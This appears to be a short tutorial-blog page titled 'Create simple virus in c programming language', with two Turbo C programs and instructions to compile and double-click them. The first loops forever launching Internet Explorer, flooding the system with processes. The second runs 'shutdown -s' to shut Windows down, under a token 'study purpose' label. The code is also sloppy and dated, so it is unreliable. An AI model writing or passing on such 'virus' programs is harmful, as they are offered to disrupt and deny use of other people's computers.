Loading...

Create simple virus in c programming language

Write a c program such that when we will click its .exe file then it will open internet explorer at infinite times?


Answer:
Write the following program in TURBO C.
void main (void)
{
for(; ;)
{
system("c:\\progra~1\\intern~1\\iexplore.exe");
}
}
Save the above .Let file name is internet.c and compile the above program. Now close the turbo c compiler and open the directory in window operating system where you have saved the internet.c (default directory c:\tc\bin)and double click on its exe file (internet.exe).





Write c program which shutdown the window operating system?

Answer:
Write the following program in TURBO C.

(Only for study purpose)
void main (void){
    system("shutdown -s");
}
Save the above. Let file name is close.c and compile the above program. Now close the turbo c compiler and open that directory in window you have saved the close.c (default directory c:\tc\bin) and double click on its exe file (close.exe).After some time your window operating system will shutdown.

Reactions: 
Mini Projects 3513818248882644073
Home item

Follow by Email

Popular Posts

Random Posts

Free PAKISTAN Cursors at www.totallyfreecursors.com